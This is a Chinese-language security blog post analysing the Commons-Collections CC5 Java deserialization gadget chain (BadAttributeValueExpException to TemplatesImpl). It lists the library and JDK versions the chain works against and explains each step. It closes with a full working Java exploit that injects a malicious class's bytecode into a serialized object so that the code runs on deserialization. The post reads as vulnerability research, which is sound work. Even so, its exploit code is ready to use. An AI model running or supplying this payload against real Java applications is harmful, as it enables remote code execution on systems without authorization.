利用条件
Commons-Collections 3.1 - 3.2.1版本
JDK版本:JDK8u301以下版本和JDK11版本可利用(需要关闭安全管理器,默认关闭)
利用链
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
InstantiateTransformer.newTransformer()
TemplatesImpl.newTransformer()
利用链分析
BadAttributeValueExpException
BadAttributeValueExpException
类的父类的父类实现了 Serializable
接口,所以该类也是可被序列化的,查看该类的 readObject
方法
这个反序列化方法调用了 valObj.toString()
方法,而这个 valObj
是我们可控的,其实就是获取了 BadAttributeValueExpException
类的 val
属性,这个我们可以通过构造方法传入进去或者通过反射设置值
虽然可以通过构造方法传入进去,但是为了避免在序列化时就被执行,所以需要通过反射来设置值
在上面我们还注意到,判断了 System.getSecurityManager()
是否为null,如果有安全管理器这条链就不能被利用了,默认是没有的
那么接下来就是要找哪个类的 toString()
方法可以实现一个利用链
TiedMapEntry
在 TiedMapEntry
类中找到了有 toString()
方法,调用了 getKey()
和 getValue()
方法
这里是不是感觉很熟悉呢?是的,和CC6里面很像,getKey()
方法只是返回了一个 key
属性,而 getValue()
方法调用了 map
属性的 get()
方法,那么我们只需要把确保这个 map
是 LazyMap
类对象,这样就能和CC1链一样,调用后续的 transformer
了
在 LazyMap
类的 get()
方法中调用了 factory
属性的 transform()
方法
这样,我们就可以利用CC6的中间部分,然后加以修改,后面 BadAttributeValueExpException
类作为反序列化入口就可以执行恶意代码了
在这里,我并没有使用CC1的前半段,而是使用了CC4的前半段,因为在有些场景中使用 Transformer[]
数组来进行反序列化,有时候数组处理不好的话会出错,所以尽量避免使用 Transformer[]
数组
利用链EXP编写
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
"/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/ab6a59d5d2e4.html
Comments